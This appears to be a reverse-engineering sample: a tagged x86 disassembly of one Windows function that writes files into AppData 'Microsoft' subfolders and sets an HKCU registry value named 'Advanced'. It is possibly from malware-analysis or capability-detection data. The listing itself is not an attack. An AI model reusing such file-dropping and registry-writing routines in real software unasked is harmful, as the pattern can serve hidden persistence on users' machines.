Function at 0x4a2a20
Capabilities:
Get common file path
Set registry value
Write file on windows

Disassembly:
sub esp, 0x27c
mov eax, dword [0x4c75d0]
xor eax, esp
mov dword [esp + 0x278], eax
mov ecx, dword [0x4bcf00]
mov eax, dword [esp + 0x280]
mov edx, dword [0x4bcf04]
push ebx
mov ebx, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push ebp
push esi
mov dword [esp + 0x30], ecx
mov cx, word [0x4bcf0c]
push edi
mov word [esp + 0x40], cx
mov ecx, dword [0x4bcf18]
mov dword [esp + 0x4c], ecx
mov ecx, 6
mov esi, 0x4bcf24
lea edi, [esp + 0x58]
rep movsd dword es:[edi], dword [esi]
xor ebp, ebp
mov dword [esp + 0x2c], eax
mov eax, dword [0x4bcf08]
lea ecx, [esp + 0x74]
push ecx
push ebp
mov dword [esp + 0x40], edx
mov edx, dword [0x4bcf10]
mov dword [esp + 0x44], eax
mov eax, dword [0x4bcf14]
push ebp
mov dword [esp + 0x50], edx
mov edx, dword [0x4bcf1c]
mov dword [esp + 0x54], eax
mov ax, word [0x4bcf20]
push 0x1a
push ebp
mov dword [esp + 0x28], 1
mov dword [esp + 0x64], edx
mov word [esp + 0x68], ax
mov dword [esp + 0x3c], ebp
movsw word es:[edi], word [esi]
mov dword [esp + 0x38], ebp
mov byte [esp + 0x33], 1
call ebx
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
push str.Microsoft
lea edx, [esp + 0x78]
push edx
call esi
lea edi, [esp + 0x18]
lea ecx, [ebp + 0xe]
lea edx, [esp + 0x34]
mov dword [esp + 0x18], ebp
call fcn.0049ed30
xor ecx, ecx
cmp eax, ebp
setl cl
lea edi, [ecx - 1]
and edi, dword [esp + 0x18]
lea ecx, [esp + 0x34]
call fcn.004a26c0
test eax, eax
je 0x4a2b4d
mov edi, ebp
mov dword [esp + 0x14], ebp
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
mov ecx, dword [esp + 0x28]
push ecx
call esi
mov ecx, dword [esp + 0x288]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0042dbe7
add esp, 0x27c
ret
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x78]
push eax
call esi
lea ecx, [esp + 0x17c]
push ecx
push ebp
push ebp
push 0x1c
push ebp
call ebx
push str.Microsoft
lea edx, [esp + 0x180]
push edx
call esi
lea edi, [esp + 0x18]
mov ecx, 0x12
lea edx, [esp + 0x44]
mov dword [esp + 0x18], ebp
call fcn.0049ed30
xor ecx, ecx
cmp eax, ebp
setl cl
lea edi, [ecx - 1]
and edi, dword [esp + 0x18]
lea ecx, [esp + 0x44]
call fcn.004a26c0
test eax, eax
jne 0x4a2b1a
lea edx, [esp + 0x44]
push edx
lea eax, [esp + 0x180]
push eax
call esi
lea edi, [esp + 0x18]
mov ecx, 0x1a
lea edx, [esp + 0x58]
mov dword [esp + 0x18], ebp
call fcn.0049ed30
xor ecx, ecx
cmp eax, ebp
setl cl
lea edi, [ecx - 1]
and edi, dword [esp + 0x18]
lea ecx, [esp + 0x58]
call fcn.004a26c0
test eax, eax
jne 0x4a2b1a
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebp
push 0x80
push 2
push ebp
push ebp
push 0x40000000
lea edx, [esp + 0x8c]
push edx
call esi
mov edi, eax
cmp edi, 0xffffffff
je 0x4a2b1c
mov ecx, dword [esp + 0x294]
mov edx, dword [esp + 0x2c]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
lea eax, [esp + 0x34]
push eax
push ecx
push edx
push edi
call ebx
test eax, eax
je 0x4a2b1c
push ebp
push 0x80
push 2
push ebp
push ebp
push 0x40000000
lea eax, [esp + 0x194]
push eax
call esi
mov dword [esp + 0x28], eax
cmp eax, 0xffffffff
je 0x4a2b1c
mov edx, dword [esp + 0x294]
push ebp
lea ecx, [esp + 0x34]
push ecx
mov ecx, dword [esp + 0x34]
push edx
push ecx
push eax
call ebx
test eax, eax
je 0x4a2b1c
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x5c]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4a2b1c
mov edx, dword [esp + 0x24]
push 1
lea ecx, [esp + 0x23]
push ecx
push 3
push ebp
push str.Advanced
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x4a2b1c
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4a2b20